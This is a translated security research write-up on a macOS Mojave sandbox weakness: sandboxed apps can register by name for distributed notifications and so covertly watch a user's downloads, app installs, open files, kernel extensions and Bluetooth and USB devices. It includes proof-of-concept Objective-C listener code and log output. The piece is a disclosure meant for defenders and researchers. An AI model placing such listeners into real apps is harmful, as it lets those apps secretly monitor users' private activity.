0 day漏洞:多種方法繞過macOS Mojave Sandbox限制
概述
在本文中,我們詳細介紹一個看上去微不足道的隱私問題,儘管Apple試圖阻止這一問題,但該漏洞還是允許沙箱應用程式暗中監視普通使用者,即使是在最新版本的macOS上也同樣存在這一漏洞。
該漏洞在Objective-See的Mac安全大會“Objective by the Sea”上首次披露,本文將深入探討該漏洞的技術細節。
會議上演示的PPT: ofollow,noindex">https://objectivebythesea.com/talks/OBTS_v1_Wardle.pdf
背景
從安全和隱私的角度考慮,沙箱是一個非常好的實現方案。如果一個沙箱被正確設計和實現,那麼應用程式會在很大程度上受到各種限制。例如,不能任意訪問使用者檔案,不能捕獲擊鍵記錄,不能破壞作業系統等等。
當然,任何沙箱的實現都會有一些缺陷,這些缺陷允許惡意應用程式完全“逃離”沙箱,或者在沙箱中繞過某些特定的限制。在本文中,我們遇到的就是第二種情況,惡意應用程式繞過Apple對“分散式通知”的沙箱限制,從而獲得沙箱外部環境的資訊,並能夠監控某些使用者隱私和作業系統活動。
OSX/macOS允許應用程式或系統元件“跨越任務邊界”來進行廣播通知。這一功能被稱為“分散式通知”,這些事件通過DistributedNotificationCenter類進行廣播。在分散式通知類的官方文件中,Apple將其描述為“通知排程機制,可以跨越任務邊界廣播通知”。
進一步來說,DistributedNotificationCenter例項將NSNotification物件將廣播發送到其他任務的物件,該物件已預先通過其任務的預設分散式通知中心進行註冊。
我們發現,在任何時候,APP、程式和系統守護程序都會在全域性範圍內廣播大量(有趣的)通知。通過註冊一個全域性的分散式通知監聽器,我們就可以深入探究這一過程,並瞭解到許多系統的當前進展,以及使用者的當前狀態。
要在全域性註冊以接收所有分散式通知,我們只需要使用值為“nil”的“name”引數呼叫CFNotificationCenterAddObserver函式(如下所示)。只要任何人廣播分散式通知,就會呼叫指定的回撥函式。
在程式碼中,我們註冊了一個全域性分散式通知監聽器(其中,name引數為nil,指定我們需要監聽所有通知):
//callback // invoked anytime anybody broadcasts a notification static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo) { NSLog(@"event: %@", (__bridge NSString*)name_cf); NSLog(@"user info: %@", userInfo); NSLog(@"object: %@", (__bridge id)object); return; } int main(int argc, const char * argv[]) { //register for distributed notifications // note: as name is nil, this means "all" CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback, nil, nil, CFNotificationSuspensionBehaviorDeliverImmediately); [[NSRunLoop currentRunLoop] run]; return 0; }
我們也可以通過NSDistributedNotificationCenter方法進行全域性註冊,以接收所有分散式通知:
- (void)addObserver:(id)observer selector:(SEL)selector name:(NSNotificationName)name object:(NSString *)object suspensionBehavior:(NSNotificationSuspensionBehavior)suspensionBehavior;
如果我們編譯並執行以下程式碼,就可以觀察各種系統事件,例如螢幕鎖定/解鎖、螢幕保護程式啟動/停止、藍芽活動、網路活動和使用者檔案下載:
$ ./sniffsniff 2018-11-19 20:54:08.244963-1000 sniffsniff[50098:11034854] event: com.apple.screenIsLocked 2018-11-19 20:54:08.244994-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:54:08.245039-1000 sniffsniff[50098:11034854] object: 501 2018-11-19 20:54:11.150683-1000 sniffsniff[50098:11034854] event: com.apple.screenIsUnlocked 2018-11-19 20:54:11.150727-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:54:11.150751-1000 sniffsniff[50098:11034854] object: 501 2018-11-19 20:55:00.033848-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didlaunch 2018-11-19 20:55:00.033882-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:00.033898-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:00.414571-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstart 2018-11-19 20:55:00.414663-1000 sniffsniff[50098:11034854] user info: { runFromPref = 0; } 2018-11-19 20:55:02.744793-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.willstop 2018-11-19 20:55:02.744831-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:02.744843-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:02.760187-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstop 2018-11-19 20:55:02.760292-1000 sniffsniff[50098:11034854] user info: { runFromPref = 0; } 2018-11-19 20:55:02.760312-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:15.733963-1000 sniffsniff[50098:11034854] event: IOBluetoothDeviceDisableScan 2018-11-19 20:55:15.733993-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:15.734011-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:56:15.720241-1000 sniffsniff[50098:11034854] event: com.apple.CFNetwork.CookiesChanged.2e3972d12eadbbbef05326fe6f5f0c3e1c05bdcc 2018-11-19 20:56:15.720292-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:56:15.720307-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 21:01:12.870597-1000 sniffsniff[50098:11034854] event: com.apple.DownloadFileFinished 2018-11-19 21:01:12.870626-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 21:01:12.870641-1000 sniffsniff[50098:11034854] object: /Users/patrick/Downloads/LuLu_1.1.2.zip
其中,CFDictionaryRef userInfo和const void *object引數的值,取決於通知。例如,針對“com.apple.DownloadFileFinished”通知,其“object”引數就包含已下載檔案的名稱。
根據設計,註冊這樣的一個全域性監聽器並不需要特殊的許可權。但是,在沙箱的上下文中,顯然不應該傳遞這樣的通知(傳送到沙箱的全域性監聽器),因為至少從隱私的角度來看,這違反了沙箱隔離的基本概念。
沙箱中的分散式通知
Apple明確認識到,從隱私和安全性的角度來看,沙箱應用程式不應該在全域性範圍捕獲分散式通知。因此,如果沙箱應用程式嘗試全域性註冊分散式通知,作業系統的沙箱就會對此操作執行嚴格的阻止:
$ ./sniffsniff 2018-11-19 21:21:41.202420-1000 sniffsniff[50388:11098618] *** attempt to register for all distributed notifications thwarted by sandboxing. Date/Time:Mon Nov 19 21:21:41 2018 OS Version:18B75 Application:sniffsniff Backtrace: 0CoreFoundation0x00007fff3c082c46 __CFGenerateReport + 197 1CoreFoundation0x00007fff3c015f43 __CFXNotificationRegisterObserver + 1035 2CoreFoundation0x00007fff3bef1af2 _CFXNotificationRegisterObserver + 14 3Foundation0x00007fff3e28845a -[NSDistributedNotificationCenter addObserver:selector:name:object:suspensionBehavior:] + 233 4Foundation0x00007fff3e28836b -[NSDistributedNotificationCenter addObserver:selector:name:object:] + 29 5sniffsniff0x000000010000125e -[AppDelegate applicationDidFinishLaunching:] + 142
Apple的macOS沙箱明確的試圖阻止惡意應用程式在全域性範圍內嗅探分散式通知:*** attempt to register for all distributed notifications thwarted by sandboxing(***嘗試註冊沙箱阻止的所有分散式通知)。
那麼,這樣就能防範風險了嗎?
不幸的是,並不是這樣。實際上,這一安全機制沒有經過深思熟慮,只是嘗試阻止從沙箱中接收全域性分散式通知,但是……
全域性嗅探macOS Sandbox中的分散式通知
安裝最新版本補丁的Mojave沙箱(很可能涉及其他所有版本的macOS)無法充分防止沙箱應用程式接收(可能包含敏感資訊的)分散式通知。儘管Apple阻止應用程式註冊全域性接收分散式通知,但沒有任何機制能夠阻止沙箱應用程式註冊接收任何通知(例如com.apple.DownloadFileFinished)。因此,如果按照名稱,註冊所有的分散式通知,惡意應用程式可以輕而易舉地避開Apple針對沙箱的限制。儘管這需要一些額外的程式碼來實現,但其帶來的影響是造成任何應用程式都可以通過遍歷註冊,來接收(捕獲)到所有分散式通知,包括在沙箱中也是如此。
我們來看一個例子。假如惡意應用程式想要監視使用者的下載,在macOS沙箱的上下文中執行時,通常這是被嚴格禁止的。因為根據定義,沙箱旨在提供一個隔離的環境,以保護使用者的安全和隱私。
但是,通過按名稱註冊來接收com.apple.DownloadFileFinished分散式通知,沙箱的應用程式仍然可以祕密監視使用者下載的所有檔案。
首先,讓我們來確認惡意應用程式(sniffsniff)在沙箱中執行:
然後,我們編寫程式碼,來監聽com.apple.DownloadFileFinished分散式通知:
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo) { NSLog(@"event: %@", (__bridge NSString*)name_cf); NSLog(@"user info: %@", userInfo); NSLog(@"object: %@", (__bridge id)object); return; } - (void)applicationDidFinishLaunching:(NSNotification *)aNotification { NSString* name = @"com.apple.DownloadFileFinished"; CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback, (CFStringRef)name, nil, CFNotificationSuspensionBehaviorDeliverImmediately); }
從macOS沙箱中執行sniffsniff,即使是在打上最新版本補丁的Mojave沙箱中,也可以實現暗中監控使用者的下載行為:
./sniffsniff 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] event: com.apple.DownloadFileFinished 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] user info: (null) 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] object: /Users/user/Downloads/thePeeTapes.mov
需要注意的是,com.apple.DownloadFileFinished分散式通知似乎僅會對從使用者瀏覽器下載的檔案進行廣播。但是,其中包括以隱身模式下載的內容!
現在,儘管我們已經可以在沙箱中監控使用者的下載行為,但由於其他的沙箱規則,我們無法讀取這些檔案的具體內容。但是,根據其檔名,其實就可以做大致的判斷。
由於我們必須通過名稱來註冊每個通知(為了繞過沙箱的保護),那麼一個重要的問題就是如何確定我們感興趣的通知的名稱(例如com.apple.DownloadFileFinished)。我們認為,可能有一個更加全面的解決方案,就是為所有分散式通知安裝一個全域性監聽器(當然,監聽器必須在沙箱之外完成),然後直接觀察通知的名稱,回到沙箱中,便可以按名稱註冊任何感興趣的通知。
我們可以利用之前所寫的程式碼,並藉助Digita Security即將釋出的MonitorKit的強大監控功能。由於此框架中包含一個監測全域性分散式通知的監控器,所以我們用幾行程式碼就可以啟用這個監控器,並開始接收所有廣播分散式通知的名稱:
import Cocoa import MonitorKit @NSApplicationMain class AppDelegate: NSObject, NSApplicationDelegate { func applicationDidFinishLaunching(_ aNotification: Notification) { //call into MonitorKit // enable 'distributed notifications' monitor let monitor = DistributedNotifcationsMonitor() monitor.start() { event in print("event: ", event.name.rawValue) if let userInfo = event.userInfo { print("event info: ", userInfo) } if let object = event.object { print("event object: ", object) } } } }
執行此程式碼後,可以顯示一些有趣的分散式通知(惡意沙箱應用程式可以註冊並觀察):
新安裝的應用程式:
com.apple.LaunchServices.applicationRegistered
event info:[AnyHashable("bundleIDs"): <__NSArrayM 0x600000c57bd0>( com.objective-see.KnockKnock)
開啟的原始碼檔案:
com.apple.dt.Xcode.notification.IDEEditorCoordinatorDistributedDidCompleteNotification
event info:[AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.fileURL"): /Users/patrick/Documents/GitHub/DoNotDisturb/launchDaemon/launchDaemon/Lid.m, AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.reporterClass"): _IDEOpenRequest]
使用中的應用程式:
com.apple.sharedfilelist.change
event info:[AnyHashable("originatorAuditToken"): ] event object:com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.ichat event info:[AnyHashable("originatorAuditToken"): ] event object:com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.textedit
載入的核心擴充套件:
Loaded Kext Notification
KextArrayKey =( "com.apple.message.bundleID" = "com.objective-see.lulu"; "com.apple.message.kextname" = "LuLu.kext"; "com.apple.message.kextpath" = "/Library/Extensions/LuLu.kext"; "com.apple.message.signaturetype" = "3rd-party kext with devid+ certificate";)
下載檔案:
com.apple.DownloadFileFinished
event object: /Users/patrick/Downloads/LuLu_1.1.2.zip
HID裝置:
com.apple.MultitouchSupport.HID.DeviceAdded
event info:[AnyHashable("Device ID"): 288230377351874764, AnyHashable("Surface Width mm"): 130, AnyHashable("Device Type"): Trackpad, AnyHashable("SupportsActuation"): 0, AnyHashable("Built-in"): 0, AnyHashable("SupportsForce"): 0, AnyHashable("Surface Height mm"): 110, AnyHashable("Opaque"): 1]
藍芽裝置:
com.apple.bluetooth.status
event info:[AnyHashable("A2DP_CONNECTED_DEVICES"): 1, AnyHashable("PAGEABLE"): 2, AnyHashable("POWER_STATE"): 1, AnyHashable("ADDRESS"): 8c-85-90-14-95-11, AnyHashable("ESTIMATED_BANDWIDTH_UTILIZATION"): 65, AnyHashable("ACL_CONNECTION_COUNT"): 2, AnyHashable("HARDWARE_NAME"): 15, AnyHashable("CONNECTED_DEVICES"): <__NSArrayM 0x600000c0bf60>( { ADDRESS = "60-c5-47-89-08-cc"; NAME = "Apple Trackpad"; "PRODUCT_ID" = 782; "SNIFF_ATTEMPTS" = 2; "VENDOR_ID" = 1452; }, { ADDRESS = "04-52-c7-77-0d-4e"; NAME = "Bose QuietComfort 35"; "PRODUCT_ID" = 16396; "SNIFF_ATTEMPTS" = 1; "VENDOR_ID" = 158; }, { ADDRESS = "34-88-5d-6b-5b-49"; NAME = "Logitech K811"; "PRODUCT_ID" = 45847; "SNIFF_ATTEMPTS" = 1; "VENDOR_ID" = 1133; })
解除安裝卷(USB等):
com.apple.unmountassistant.process.start
event info:[AnyHashable("VolumeURL"): file:///Volumes/TSSCI_USB/, AnyHashable("VolumeRefNum"): -108]
總結
macOS沙箱明確設計了用於防止沙箱應用程式深入檢視使用者隱私和系統操作的機制。Apple清楚的意識到全域性分散式通知監聽器可能會阻礙這一設計目標,因此試圖阻止:
*** attempt to register for all distributed notifications thwarted by sandboxing(***嘗試註冊沙箱阻止的所有分散式通知)。
不幸的是,這一嘗試並沒能有效防範這一問題。通過簡單的按名稱註冊通知,沙箱應用程式就可以遍歷註冊並接收(捕獲)全部的分散式通知。這樣一來,攻擊者就可以違反了沙盒的核心原則,並可能會侵犯使用者的隱私:跟蹤新應用程式的安裝過程、監視正在使用的各種檔案和應用程式、跟蹤載入的資料夾、監視使用者下載等等。
儘管,這個防範措施本身並不會構成安全漏洞,但它顯然違反了macOS沙箱的設計模板。因此,我覺得他們肯定會嘗試進行修復(又一次)。